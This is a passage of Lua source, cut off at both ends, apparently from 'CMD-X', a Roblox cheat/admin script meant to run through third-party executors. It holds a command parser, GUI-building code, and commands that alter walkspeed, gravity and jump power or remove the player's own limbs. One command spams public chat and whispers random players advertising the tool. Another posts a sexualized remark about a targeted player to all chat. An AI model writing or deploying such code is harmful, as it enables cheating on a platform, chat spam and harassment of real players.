3480 if ChatBind == false then
3481 output9.Text = output8.Text
3482 output8.Text = output7.Text
3483 output7.Text = output6.Text
3484 output6.Text = output5.Text
3485 output5.Text = output4.Text
3486 output4.Text = output3.Text
3487 output3.Text = output2.Text
3488 output2.Text = output1.Text
3489 if f == "*" then
3490 output1.Text = "[*] "..text
3491 elseif f == "-" then
3492 output1.Text = "[-] "..text
3493 end
3494 else
3495 if f == "*" then
3496 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("[CMD-X*] "..text,"All")
3497 elseif f == "-" then
3498 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("[CMD-X-] "..text,"All")
3499 end
3500 end
3501end
3502
3503function alignFunctions(getArgs)
3504 local cmdws = workspace
3505 local cmdp = game:GetService("Players")
3506 local cmdl = game:GetService("Lighting")
3507 local cmdrs = game:GetService("ReplicatedStorage")
3508 local cmdrs2 = game:GetService("RunService")
3509 local cmdts = game:GetService("TweenService")
3510 local cmdvu = game:GetService("VirtualUser")
3511 local cmduis = game:GetService("UserInputService")
3512 local cmdteams = game:GetService("Teams")
3513 local cmdlp = cmdp.LocalPlayer
3514 local cmdc = cmdlp.Character
3515 local cmdh = cmdc.Humanoid
3516 local cmdhrp = cmdc.HumanoidRootPart
3517 local cmdm = cmdlp:GetMouse()
3518 arguments = getArgs:split(" ")
3519 function getstring(begin)
3520 local start = begin-1
3521 local AA = '' for i,v in pairs(arguments) do
3522 if i > start then
3523 if AA ~= '' then
3524 AA = AA .. ' ' .. v
3525 else
3526 AA = AA .. v
3527 end
3528 end
3529 end
3530 return AA
3531 end
3532 arguments[1] = arguments[1]:lower()
3533end
3534
3535function findCmd(cmd_name)
3536 for i,v in pairs(CMDN)do
3537 for _,x in pairs(CMDN[i].A) do
3538 if CMDN[i].N:lower() == cmd_name:lower() or CMDN[i].A[_]:lower() == cmd_name:lower() then
3539 v = CMDN[i].N
3540 return v
3541 end
3542 end
3543 end
3544end
3545
3546for i = oldNum+1,#CMDN do
3547 CMDStat[#CMDStat+1] = {N = CMDN[i].N, T = 0}
3548end
3549
3550oldNum = #CMDN
3551updatesaves()
3552
3553local noCMD = false
3554
3555local History = {}
3556local useCommand = {}
3557cmd.FocusLost:connect(function()
3558 if cmd.Text:lower():sub(1,#prefix) == prefix then
3559 cmd.Text = cmd.Text:sub(#prefix+1,100000)
3560 elseif cmd.Text:lower():sub(1,1) == '.' then
3561 cmd.Text = cmd.Text:sub(2,100000)
3562 end
3563 if cmd.Text ~= "" then
3564 local matchCommand = ""
3565 wait(.1)
3566 alignFunctions(cmd.Text)
3567 local cmdsy = findCmd(arguments[1])
3568 if cmdsy ~= nil then
3569 History[#History+1] = cmd.Text
3570 for i,v in pairs(CMDStat) do
3571 if cmdsy == CMDStat[i].N then
3572 CMDStat[i].T = CMDStat[i].T+1
3573 end
3574 end
3575 updatesaves()
3576 cmd.Text = ""
3577 --pcall(function()
3578 if commandsLoaded() and noCMD == false then
3579 useCommand[cmdsy]()
3580 elseif noCMD == true and cmdsy == "yescommands" then
3581 useCommand[cmdsy]()
3582 else
3583 opx("*","Need help? Join our discord! discord.gg/DD2w2cZ")
3584 end
3585 --end)
3586 else
3587 cmd.Text = ""
3588 local invalidString = getstring(1)
3589 if #invalidString > 38 then
3590 invalidString = invalidString:sub(1,35).."..."
3591 end
3592 opx("*",invalidString.." is not a valid command.")
3593 end
3594 end
3595end)
3596
3597function useCommand.prefix()
3598 opx("-","Your prefix is "..prefix.." or .")
3599end
3600
3601function useCommand.promptnew()
3602 if arguments[2] then
3603 prompt = getstring(2).." >"
3604 updatesaves()
3605 user.Text = getstring(2).." >"
3606 opx("-","Prompt name set to "..getstring(2))
3607 elseif arguments[2] == "name" then
3608 prompt = cmdlp.Name.." >"
3609 updatesaves()
3610 user.Text = cmdlp.Name.." >"
3611 opx("-","Prompt name set to username")
3612 else
3613 opx("*","2 arguments are required for this command!")
3614 end
3615end
3616
3617function useCommand.prefixnew()
3618 if arguments[2] then
3619 prefix = arguments[2]
3620 updatesaves()
3621 opx("-","Prefix set to "..arguments[2])
3622 else
3623 opx("*","2 arguments are required for this command!")
3624 end
3625end
3626
3627function useCommand.boobsize()
3628 if arguments[2] then
3629 target = findplr(arguments[2])
3630 if target then
3631 local BBtable = {"Baby size","Tiny","Medium size","Normal Size","Large","Gigantic","Anime size"}
3632 local pickBB = math.random(1,#BBtable)
3633 opx("-",target.Name.." has "..BBtable[pickBB].." roboobs")
3634 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(target.Name.." has "..BBtable[pickBB].." roboobs","All")
3635 else
3636 opx("*","Player does not exist!")
3637 end
3638 else
3639 opx("*","2 arguments are required for this command!")
3640 end
3641end
3642
3643function useCommand.hotkeyopen()
3644 if arguments[2] then
3645 hotkeyopen = arguments[2]
3646 updatesaves()
3647 opx("-","Hotkey set to "..arguments[2])
3648 else
3649 opx("*","2 arguments are required for this command!")
3650 end
3651end
3652
3653function useCommand.hotkeyoutput()
3654 if arguments[2] then
3655 hotkeyopx = arguments[2]
3656 updatesaves()
3657 opx("-","Hotkey set to "..arguments[2])
3658 else
3659 opx("*","2 arguments are required for this command!")
3660 end
3661end
3662
3663function useCommand.hotkeyfocus()
3664 if arguments[2] then
3665 hotkeyfocus = arguments[2]
3666 updatesaves()
3667 opx("-","Hotkey set to "..arguments[2])
3668 else
3669 opx("*","2 arguments are required for this command!")
3670 end
3671end
3672
3673ManageHolderEnter = Instance.new("Frame")
3674MangeScrollEnter = Instance.new("ScrollingFrame")
3675BtnAddEnter = Instance.new("TextButton")
3676BtnClearEnter = Instance.new("TextButton")
3677ManageTitleEnter = Instance.new("TextLabel")
3678SlideOutEnter = Instance.new("Frame")
3679Edit1Enter = Instance.new("TextBox")
3680Edit2Enter = Instance.new("TextBox")
3681Edit3Enter = Instance.new("TextBox")
3682TitleSlideEnter = Instance.new("TextLabel")
3683CancelBtnEnter = Instance.new("TextButton")
3684ApplyBtnEnter = Instance.new("TextButton")
3685BtnExitEnter = Instance.new("TextButton")
3686
3687ManageHolderEnter.Name = "ManageHolderEnter"
3688ManageHolderEnter.Parent = Unnamed
3689ManageHolderEnter.BackgroundColor3 = Color3.fromRGB(52, 52, 52)
3690ManageHolderEnter.BackgroundTransparency = -0.010
3691ManageHolderEnter.BorderSizePixel = 0
3692ManageHolderEnter.Position = UDim2.new(0.33610791, 0, 0.279678553, 0)
3693ManageHolderEnter.Size = UDim2.new(0, 424, 0, 294)
3694ManageHolderEnter.Active = true
3695ManageHolderEnter.Draggable = true
3696ManageHolderEnter.Visible = false
3697
3698MangeScrollEnter.Name = "MangeScrollEnter"
3699MangeScrollEnter.Parent = ManageHolderEnter
3700MangeScrollEnter.BackgroundColor3 = Color3.fromRGB(58, 58, 58)
3701MangeScrollEnter.BorderSizePixel = 0
3702MangeScrollEnter.Position = UDim2.new(0.0268278271, 0, 0.10493198, 0)
3703MangeScrollEnter.Size = UDim2.new(0, 401, 0, 214)
3704
3705function Template(name,entry)
3706 local TemplateFrame = Instance.new("Frame")
3707 local TemplateName = Instance.new("TextLabel")
3708 local TemplateBtnRemove = Instance.new("TextButton")
3709 local TemplateBtnAdd = Instance.new("TextButton")
3710 local alls2 = 5
3711 for i,v in pairs(MangeScrollEnter:GetChildren()) do
3712 if v then
3713 alls2 = v.Size.Y.Offset + alls2+5
3714 end
3715 if not v then
3716 alls2 = 5
3717 end
3718 end
3719 TemplateFrame.Name = name
3720 TemplateFrame.Parent = MangeScrollEnter
3721 TemplateFrame.BackgroundColor3 = Color3.fromRGB(77, 77, 77)
3722 TemplateFrame.BorderSizePixel = 0
3723 TemplateFrame.Position = UDim2.new(-1,0,0,alls2)
3724 TemplateFrame.Size = UDim2.new(0, 368, 0, 19)
3725
3726 TemplateName.Name = "TemplateName"
3727 TemplateName.Parent = TemplateFrame
3728 TemplateName.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
3729 TemplateName.BackgroundTransparency = 1.000
3730 TemplateName.BorderSizePixel = 0
3731 TemplateName.Position = UDim2.new(0.0231884252, 0, 0, 0)
3732 TemplateName.Size = UDim2.new(0, 191, 0, 19)
3733 TemplateName.Font = Enum.Font.GothamBlack
3734 TemplateName.Text = name.."|"..entry
3735 TemplateName.TextColor3 = Color3.fromRGB(255, 255, 255)
3736 TemplateName.TextSize = 14.000
3737 TemplateName.TextXAlignment = Enum.TextXAlignment.Left
3738
3739 TemplateBtnRemove.Name = "TemplateBtnRemove"
3740 TemplateBtnRemove.Parent = TemplateFrame
3741 TemplateBtnRemove.BackgroundColor3 = Color3.fromRGB(176, 176, 176)
3742 TemplateBtnRemove.BackgroundTransparency = 0.700
3743 TemplateBtnRemove.BorderSizePixel = 0
3744 TemplateBtnRemove.Position = UDim2.new(0.859420359, 0, 0, 0)
3745 TemplateBtnRemove.Size = UDim2.new(0, 51, 0, 19)
3746 TemplateBtnRemove.Font = Enum.Font.Gotham
3747 TemplateBtnRemove.Text = "Remove"
3748 TemplateBtnRemove.TextColor3 = Color3.fromRGB(255, 255, 255)
3749 TemplateBtnRemove.TextSize = 12.000
3750 TemplateBtnRemove.MouseButton1Down:Connect(function()
3751 table.remove(enterCMD,entry)
3752 TemplateBtnRemove.Parent:Destroy()
3753 end)
3754
3755 TemplateBtnAdd.Name = "TemplateBtnAdd"
3756 TemplateBtnAdd.Parent = TemplateFrame
3757 TemplateBtnAdd.BackgroundColor3 = Color3.fromRGB(176, 176, 176)
3758 TemplateBtnAdd.BackgroundTransparency = 0.700
3759 TemplateBtnAdd.BorderSizePixel = 0
3760 TemplateBtnAdd.Position = UDim2.new(0.699094296, 0, 0, 0)
3761 TemplateBtnAdd.Size = UDim2.new(0, 51, 0, 19)
3762 TemplateBtnAdd.Font = Enum.Font.Gotham
3763 TemplateBtnAdd.Text = "Edit"
3764 TemplateBtnAdd.TextColor3 = Color3.fromRGB(255, 255, 255)
3765 TemplateBtnAdd.TextSize = 12.000
3766 TemplateBtnAdd.MouseButton1Down:Connect(function()
3767 SlideOutEnter.Visible = true
3768 CurrentEdit = entry
3769 TitleSlideEnter.Text = enterCMD[entry].N
3770 end)
3771
3772 TemplateFrame:TweenPosition(UDim2.new(0,3,0,alls2), 'In', 'Quint', 0.5)
3773end
3774
3775BtnAddEnter.Name = "BtnAddEnter"
3776BtnAddEnter.Parent = ManageHolderEnter
3777BtnAddEnter.BackgroundColor3 = Color3.fromRGB(58, 58, 58)
3778BtnAddEnter.BorderSizePixel = 0
3779BtnAddEnter.Position = UDim2.new(0.026827829, 0, 0.864668369, 0)
3780BtnAddEnter.Size = UDim2.new(0, 85, 0, 33)
3781BtnAddEnter.Font = Enum.Font.Gotham
3782BtnAddEnter.Text = "Add"
3783BtnAddEnter.TextColor3 = Color3.fromRGB(255, 255, 255)
3784BtnAddEnter.TextSize = 14.000
3785BtnAddEnter.MouseButton1Down:Connect(function()
3786 SlideOutEnter.Visible = true
3787 enterCMD[#enterCMD+1] = {N = "Unnamed"}
3788 CurrentEdit = #enterCMD
3789 TitleSlideEnter.Text = enterCMD[#enterCMD].N
3790 Template(enterCMD[#enterCMD].N,#enterCMD)
3791end)
3792
3793BtnClearEnter.Name = "BtnClearEnter"
3794BtnClearEnter.Parent = ManageHolderEnter
3795BtnClearEnter.BackgroundColor3 = Color3.fromRGB(58, 58, 58)
3796BtnClearEnter.BorderSizePixel = 0
3797BtnClearEnter.Position = UDim2.new(0.244457483, 0, 0.864668369, 0)
3798BtnClearEnter.Size = UDim2.new(0, 85, 0, 33)
3799BtnClearEnter.Font = Enum.Font.Gotham
3800BtnClearEnter.Text = "Clear"
3801BtnClearEnter.TextColor3 = Color3.fromRGB(255, 255, 255)
3802BtnClearEnter.TextSize = 14.000
3803BtnClearEnter.MouseButton1Down:Connect(function()
3804 MangeScrollEnter:ClearAllChildren()
3805 enterCMD = {}
3806 Edit1Enter.Text = ""
3807 Edit2Enter.Text = ""
3808 Edit3Enter.Text = ""
3809 SlideOutEnter.Visible = false
3810 CurrentEdit = ""
3811end)
3812
3813ManageTitleEnter.Name = "ManageTitleEnter"
3814ManageTitleEnter.Parent = ManageHolderEnter
3815ManageTitleEnter.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
3816ManageTitleEnter.BackgroundTransparency = 1.000
3817ManageTitleEnter.Position = UDim2.new(0.263266504, 0, 0.00765306223, 0)
3818ManageTitleEnter.Size = UDim2.new(0, 200, 0, 32)
3819ManageTitleEnter.Font = Enum.Font.GothamSemibold
3820ManageTitleEnter.Text = "CMD-X ... MANAGER"
3821ManageTitleEnter.TextColor3 = Color3.fromRGB(255, 255, 255)
3822ManageTitleEnter.TextSize = 14.000
3823
3824SlideOutEnter.Name = "SlideOutEnter"
3825SlideOutEnter.Parent = ManageHolderEnter
3826SlideOutEnter.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
3827SlideOutEnter.BackgroundTransparency = 0.500
3828SlideOutEnter.BorderSizePixel = 0
3829SlideOutEnter.Position = UDim2.new(-0.507332683, 0, 0, 0)
3830SlideOutEnter.Size = UDim2.new(0, 215, 0, 294)
3831SlideOutEnter.Visible = false
3832
3833Edit1Enter.Name = "Edit1Enter"
3834Edit1Enter.Parent = SlideOutEnter
3835Edit1Enter.BackgroundColor3 = Color3.fromRGB(71, 71, 71)
3836Edit1Enter.BorderSizePixel = 0
3837Edit1Enter.Position = UDim2.new(0.0325581394, 0, 0.0850340128, 0)
3838Edit1Enter.Size = UDim2.new(0, 200, 0, 26)
3839Edit1Enter.Font = Enum.Font.Gotham
3840Edit1Enter.PlaceholderColor3 = Color3.fromRGB(230, 230, 230)
3841Edit1Enter.PlaceholderText = "Enter command here"
3842Edit1Enter.Text = ""
3843Edit1Enter.TextColor3 = Color3.fromRGB(255, 255, 255)
3844Edit1Enter.TextSize = 14.000
3845
3846Edit2Enter.Name = "Edit2Enter"
3847Edit2Enter.Parent = SlideOutEnter
3848Edit2Enter.BackgroundColor3 = Color3.fromRGB(71, 71, 71)
3849Edit2Enter.BorderSizePixel = 0
3850Edit2Enter.Position = UDim2.new(0.0325581394, 0, 0.204081625, 0)
3851Edit2Enter.Size = UDim2.new(0, 200, 0, 26)
3852Edit2Enter.Font = Enum.Font.Gotham
3853Edit2Enter.PlaceholderColor3 = Color3.fromRGB(230, 230, 230)
3854Edit2Enter.PlaceholderText = "Enter ... here"
3855Edit2Enter.Text = ""
3856Edit2Enter.TextColor3 = Color3.fromRGB(255, 255, 255)
3857Edit2Enter.TextSize = 14.000
3858
3859Edit3Enter.Name = "Edit3Enter"
3860Edit3Enter.Parent = SlideOutEnter
3861Edit3Enter.BackgroundColor3 = Color3.fromRGB(71, 71, 71)
3862Edit3Enter.BorderSizePixel = 0
3863Edit3Enter.Position = UDim2.new(0.0325581394, 0, 0.31292516, 0)
3864Edit3Enter.Size = UDim2.new(0, 200, 0, 26)
3865Edit3Enter.Font = Enum.Font.Gotham
3866Edit3Enter.PlaceholderColor3 = Color3.fromRGB(230, 230, 230)
3867Edit3Enter.PlaceholderText = "Enter ... here"
3868Edit3Enter.Text = ""
3869Edit3Enter.TextColor3 = Color3.fromRGB(255, 255, 255)
3870Edit3Enter.TextSize = 14.000
3871
3872TitleSlideEnter.Name = "TitleSlideEnter"
3873TitleSlideEnter.Parent = SlideOutEnter
3874TitleSlideEnter.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
3875TitleSlideEnter.BackgroundTransparency = 1.000
3876TitleSlideEnter.Position = UDim2.new(0.0307083577, 0, -0.0161564611, 0)
3877TitleSlideEnter.Size = UDim2.new(0, 200, 0, 32)
3878TitleSlideEnter.Font = Enum.Font.GothamSemibold
3879TitleSlideEnter.Text = "..."
3880TitleSlideEnter.TextColor3 = Color3.fromRGB(255, 255, 255)
3881TitleSlideEnter.TextSize = 14.000
3882
3883CancelBtnEnter.Name = "CancelBtnEnter"
3884CancelBtnEnter.Parent = SlideOutEnter
3885CancelBtnEnter.BackgroundColor3 = Color3.fromRGB(58, 58, 58)
3886CancelBtnEnter.BorderSizePixel = 0
3887CancelBtnEnter.Position = UDim2.new(0.561230242, 0, 0.442899674, 0)
3888CancelBtnEnter.Size = UDim2.new(0, 85, 0, 33)
3889CancelBtnEnter.Font = Enum.Font.Gotham
3890CancelBtnEnter.Text = "Cancel"
3891CancelBtnEnter.TextColor3 = Color3.fromRGB(255, 255, 255)
3892CancelBtnEnter.TextSize = 14.000
3893CancelBtnEnter.MouseButton1Down:Connect(function()
3894 Edit1Enter.Text = ""
3895 Edit2Enter.Text = ""
3896 Edit3Enter.Text = ""
3897 SlideOutEnter.Visible = false
3898 CurrentEdit = ""
3899end)
3900
3901function MakeChanges(title,new)
3902 for i,v in pairs(MangeScrollEnter:GetChildren()) do
3903 if v.Name == title then
3904 v.Name = new
3905 xText = v.TemplateName.Text:split("|")
3906 v.TemplateName.Text = new.."|"..xText[2]
3907 end
3908 end
3909end
3910
3911ApplyBtnEnter.Name = "ApplyBtnEnter"
3912ApplyBtnEnter.Parent = SlideOutEnter
3913ApplyBtnEnter.BackgroundColor3 = Color3.fromRGB(58, 58, 58)
3914ApplyBtnEnter.BorderSizePixel = 0
3915ApplyBtnEnter.Position = UDim2.new(0.0318313837, 0, 0.442899674, 0)
3916ApplyBtnEnter.Size = UDim2.new(0, 85, 0, 33)
3917ApplyBtnEnter.Font = Enum.Font.Gotham
3918ApplyBtnEnter.Text = "Apply"
3919ApplyBtnEnter.TextColor3 = Color3.fromRGB(255, 255, 255)
3920ApplyBtnEnter.TextSize = 14.000
3921ApplyBtnEnter.MouseButton1Down:Connect(function()
3922 enterCMD[CurrentEdit] = {N = Edit1Enter.Text}
3923 MakeChanges(TitleSlideEnter.Text,Edit1Enter.Text)
3924 Edit1Enter.Text = ""
3925 Edit2Enter.Text = ""
3926 Edit3Enter.Text = ""
3927 SlideOutEnter.Visible = false
3928 CurrentEdit = ""
3929end)
3930
3931BtnExitEnter.Name = "BtnExitEnter"
3932BtnExitEnter.Parent = ManageHolderEnter
3933BtnExitEnter.BackgroundColor3 = Color3.fromRGB(58, 58, 58)
3934BtnExitEnter.BackgroundTransparency = 1.000
3935BtnExitEnter.BorderSizePixel = 0
3936BtnExitEnter.Position = UDim2.new(0.950231194, 0, -0.00778063387, 0)
3937BtnExitEnter.Size = UDim2.new(0, 28, 0, 26)
3938BtnExitEnter.Font = Enum.Font.GothamBold
3939BtnExitEnter.Text = "X"
3940BtnExitEnter.TextColor3 = Color3.fromRGB(255, 255, 255)
3941BtnExitEnter.TextSize = 14.000
3942BtnExitEnter.MouseButton1Down:Connect(function()
3943 for i,v in pairs(enterCMD) do
3944 if enterCMD[i].N == "Unnamed" then
3945 table.remove(enterCMD,i)
3946 end
3947 end
3948 ManageHolderEnter.Visible = false
3949 Edit1Enter.Text = ""
3950 Edit2Enter.Text = ""
3951 Edit3Enter.Text = ""
3952 SlideOutEnter.Visible = false
3953 CurrentEdit = ""
3954end)
3955
3956function useCommand.entercmdnew()
3957 if arguments[2] then
3958 enterCMD[#enterCMD+1] = {N = getstring(2)}
3959 updatesaves()
3960 opx("-","Added "..getstring(2).." to enter cmds")
3961 else
3962 opx("*","2 arguments are required for this command!")
3963 end
3964end
3965
3966function useCommand.entercmds()
3967 opx("-","Opened enter cmd manager")
3968 MangeScrollEnter:ClearAllChildren()
3969 ManageHolderEnter.Visible = true
3970 for i,v in pairs(enterCMD) do
3971 Template(enterCMD[i].N,i)
3972 end
3973end
3974
3975function useCommand.listentercmds()
3976 if #enterCMD ~= 0 then
3977 xECMD = #enterCMD.." | "
3978 for i = 1,#enterCMD do
3979 xEMD = xECMD..enterCMD[i].N..", "
3980 end
3981 opx("-","Listed enter cmds")
3982 opxL("Enter Commands",xECMD)
3983 else
3984 opx("*","You have no enter cmds!")
3985 end
3986end
3987
3988function useCommand.entercmddel()
3989 if arguments[2] then
3990 if #enterCMD ~= 0 then
3991 for i = 1,#enterCMD do
3992 if enterCMD[i].N == getstring(2) then
3993 table.remove(enterCMD, i)
3994 updatesaves()
3995 end
3996 end
3997 opx("Removed "..getstring(2).." from enter cmds")
3998 else
3999 opx("*","You have no enter cmds!")
4000 end
4001 else
4002 opx("*","2 arguments are required for this command!")
4003 end
4004end
4005
4006function useCommand.entercmdsclr()
4007 if #enterCMD ~= 0 then
4008 enterCMD = {}
4009 updatesaves()
4010 opx("-","Cleared all enter cmds")
4011 else
4012 opx("*","You have no enter cmds!")
4013 end
4014end
4015
4016function useCommand.eightballpu()
4017 local eightball = {"Maybe","Possibly","No","Yes","Never","Don't get your hopes up","100%","0%","50%","Likely","Extremely Likely","Almost Certain","Impossible","Possible","Currently... no","Maybe later on in life","Aha... Good luck on that one","This will definently happen buddy","Stop asking me questions","Hmm..."}
4018 local value = math.random(1,#eightball)
4019 local picked_value = eightball[value]
4020 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("8Ball says: "..tostring(picked_value), "All")
4021 opx("8Ball says: "..tostring(picked_value))
4022end
4023
4024function useCommand.eightballpr()
4025 local eightball = {"Maybe","Possibly","No","Yes","Never","Don't get your hopes up","100%","0%","50%","Likely","Extremely Likely","Almost Certain","Impossible","Possible","Currently... no","Maybe later on in life","Aha... Good luck on that one","This will definently happen buddy","Stop asking me questions","Hmm..."}
4026 local value = math.random(1,#eightball)
4027 local picked_value = eightball[value]
4028 opx("8Ball says: "..tostring(picked_value))
4029end
4030
4031function useCommand.pi()
4032 opx("-","Pi is "..math.pi)
4033end
4034
4035local helpCode = "discord.gg/DD2w2cZ"
4036function useCommand.support()
4037 if arguments[2] == "cb" or arguments[2] == "copy" then
4038 setclipboard(helpCode)
4039 end
4040 opx("-","The link for support is "..helpCode)
4041end
4042
4043function useCommand.commands()
4044 Scrollingcmdi:ClearAllChildren()
4045 cmdsholder.Visible = true
4046 for i = 1,#CMDN do
4047 local CS = CMDN[i].CMD:split(",")
4048 CreateCMDLabel(CS[1],CS[2],CS[3],CS[4])
4049 end
4050 opx("-","CMDS Loaded")
4051end
4052function useCommand.config()
4053 configframe.Visible = true
4054 configframe:TweenSize(UDim2.new(0,300,0,433), Enum.EasingDirection.In, Enum.EasingStyle.Quad, .5)
4055 opx("-","Config loaded")
4056end
4057
4058local cmdAdvertise = false
4059function useCommand.advertise()
4060 cmdAdvertise = true
4061 while cmdAdvertise == true do
4062 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("Get CMD X today! Best admin GUI, supports paid executors: cxrd: DD2w2cZ or type in cmd x pxstebxn on google!", "All")
4063 wait(math.random(1, 6))
4064 local randomPlayer = cmdp:GetPlayers()[math.random(1,#cmdp:GetPlayers())]
4065 cmdh:MoveTo(randomPlayer.Character.HumanoidRootPart.Position)
4066 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("Get CMD X today! Best admin GUI, supports paid executors: cxrd: DD2w2cZ or type in cmd x pxstebxn on google!", "All")
4067 wait(math.random(1, 6))
4068 local randomPlayer = cmdp:GetPlayers()[math.random(1,#cmdp:GetPlayers())]
4069 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("/w "..randomPlayer.Name.." Get CMD X today! Best admin GUI, supports paid executors: cxrd: DD2w2cZ or type in cmd x pxstebxn on google!", "All")
4070 local randomPlayer = cmdp:GetPlayers()[math.random(1,#cmdp:GetPlayers())]
4071 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("/w "..randomPlayer.Name.." Get CMD X today! Best admin GUI, supports paid executors: cxrd: DD2w2cZ or type in cmd x pxstebxn on google!", "All")
4072 local randomPlayer = cmdp:GetPlayers()[math.random(1,#cmdp:GetPlayers())]
4073 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("/w "..randomPlayer.Name.." Get CMD X today! Best admin GUI, supports paid executors: cxrd: DD2w2cZ or type in cmd x pxstebxn on google!", "All")
4074 local randomPlayer = cmdp:GetPlayers()[math.random(1,#cmdp:GetPlayers())]
4075 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("/w "..randomPlayer.Name.." Get CMD X today! Best admin GUI, supports paid executors: cxrd: DD2w2cZ or type in cmd x pxstebxn on google!", "All")
4076 local randomPlayer = cmdp:GetPlayers()[math.random(1,#cmdp:GetPlayers())]
4077 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("Get CMD X today! Best admin GUI, supports paid executors: cxrd: DD2w2cZ or type in cmd x pxstebxn on google!", "All")
4078 wait(math.random(1, 6))
4079 local randomPlayer = cmdp:GetPlayers()[math.random(1,#cmdp:GetPlayers())]
4080 cmdh:MoveTo(randomPlayer.Character.HumanoidRootPart.Position)
4081 end
4082 opx("-","Now advertising CMD-X (Thank you!)")
4083end
4084
4085function useCommand.unadvertise()
4086 cmdAdvertise = false
4087 opx("-","Stopped advertising CMD-X (Thank you!)")
4088end
4089
4090function useCommand.version()
4091 opx("-","CMD-X is currently on "..ver)
4092end
4093
4094function useCommand.nextupdate()
4095 opx("-","Next update: "..nextupd)
4096end
4097
4098function useCommand.walkspeed()
4099 if arguments[2] and cmdnum(arguments[2]) then
4100 cmdlp.Character.Humanoid.WalkSpeed = arguments[2]
4101 opx("-","Walkspeed set to "..arguments[2])
4102 else
4103 cmdlp.Character.Humanoid.WalkSpeed = permwalkspeed
4104 opx("-","Walkspeed set to "..permwalkspeed)
4105 end
4106end
4107
4108function useCommand.defaultwalkspeed()
4109 cmdlp.Character.Humanoid.WalkSpeed = 16
4110 opx("-","Walkspeed set to default (16)")
4111end
4112
4113function useCommand.jumppower()
4114 if arguments[2] and cmdnum(arguments[2]) then
4115 cmdlp.Character.Humanoid.JumpPower = arguments[2]
4116 opx("-","Jumppower set to "..arguments[2])
4117 else
4118 cmdlp.Character.Humanoid.JumpPower = permjumppower
4119 opx("-","Jumppower set to "..permjumppower)
4120 end
4121end
4122
4123function useCommand.defaultjumppower()
4124 cmdlp.Character.Humanoid.JumpPower = 50
4125 opx("-","Jumppower set to default (50)")
4126end
4127
4128function useCommand.hipheight()
4129 if arguments[2] and cmdnum(arguments[2]) then
4130 cmdlp.Character.Humanoid.HipHeight = arguments[2]
4131 opx("-","Hipheight set to "..arguments[2])
4132 else
4133 cmdlp.Character.Humanoid.HipHeight = permhipheight
4134 opx("*","Hipheight set to "..permhipheight)
4135 end
4136end
4137
4138function useCommand.defaulthipheight()
4139 cmdlp.Character.Humanoid.HipHeight = saveHip
4140 opx("-","Hipheight set to default ("..saveHip..")")
4141end
4142
4143function useCommand.gravity()
4144 if arguments[2] and cmdnum(arguments[2]) then
4145 workspace.Gravity = arguments[2]
4146 opx("-","Gravity set to "..arguments[2])
4147 else
4148 workspace.Gravity = permgravity
4149 opx("-","Gravity set to "..permgravity)
4150 end
4151end
4152
4153function useCommand.defaultgravity()
4154 workspace.Gravity = saveGrav
4155 opx("-","Hipheight set to default ("..saveGrav..")")
4156end
4157
4158local bodyPos = false
4159for i,v in pairs(cmdlp.Character:GetDescendants()) do
4160 if v.Name == "rocket" then
4161 v:Destroy()
4162 end
4163end
4164function useCommand.bodypositionwalkspeed()
4165 if arguments[2] and cmdnum(arguments[2]) then
4166 local speed = 1 + arguments[2]*0.05
4167 else
4168 local speed = 1 + 10*0.05
4169 end
4170 local rocket = Instance.new("BodyPosition",cmdlp.Character.HumanoidRootPart)
4171 rocket.Name = "rocket"
4172 local upvalue = 0
4173 rocket.maxForce = Vector3.new(12500,12500,12500)
4174 bodyPos = true
4175 opx("-","BodyPositionWalkSpeed activated")
4176 while bodyPos == true do
4177 wait()
4178 if cmdlp.Character.Humanoid.FloorMaterial == Enum.Material.Air then
4179 rocket.Parent = cmdlp.Character
4180 wait(0.5)
4181 else
4182 wait(0.5)
4183 rocket.Parent = cmdlp.Character.HumanoidRootPart
4184 end
4185 end
4186 while bodyPos == true do
4187 wait()
4188 rocket.Position = Vector3.new(cmdlp.Character.Torso.Position.X+cmdlp.Character.Humanoid.MoveDirection.X*speed*5.4,cmdlp.Character.Torso.Position.Y,cmdlp.Character.Torso.Position.Z+cmdlp.Character.Humanoid.MoveDirection.Z*speed*5.4)
4189 end
4190end
4191
4192function useCommand.halve()
4193 if cmd15(cmdlp) then
4194 opx("-","Halved character")
4195 cmdlp.Character.UpperTorso.Waist:Destroy()
4196 else
4197 opx("*","You need to be R15 for this command!")
4198 end
4199end
4200
4201function useCommand.removehands()
4202 if cmd15(cmdlp) then
4203 opx("-","Removed hands")
4204 cmdlp.Character.RightHand:Destroy()
4205 cmdlp.Character.LeftHand:Destroy()
4206 else
4207 opx("*","You need to be R15 for this command!")
4208 end
4209end
4210
4211function useCommand.removefeet()
4212 if cmd15(cmdlp) then
4213 opx("-","Removed feet")
4214 cmdlp.Character.RightFoot:Destroy()
4215 cmdlp.Character.LeftFoot:Destroy()
4216 else
4217 opx("*","You need to be R15 for this command!")
4218 end
4219end
4220
4221function useCommand.removeleftleg()
4222 opx("-","Removed left leg")
4223 if cmd15(cmdlp) then
4224 cmdlp.Character.LeftUpperLeg:Destroy()
4225 else
4226 cmdlp.Character["Left Leg"]:Destroy()
4227 end
4228end
4229
4230function useCommand.removerightleg()
4231 opx("-","Removed right leg")
4232 if cmd15(cmdlp) then
4233 cmdlp.Character.RightUpperLeg:Destroy()
4234 else
4235 cmdlp.Character["Right Leg"]:Destroy()
4236 end
4237end
4238
4239function useCommand.removeleftarm()
4240 opx("-","Removed left arm")
4241 if cmd15(cmdlp) then
4242 cmdlp.Character.LeftUpperArm:Destroy()
4243 else
4244 cmdlp.Character["Left Arm"]:Destroy()
4245 end
4246end
4247
4248function useCommand.removerightarm()
4249 opx("-","Removed right arm")
4250 if cmd15(cmdlp) then
4251 cmdlp.Character.RightUpperArm:Destroy()
4252 else
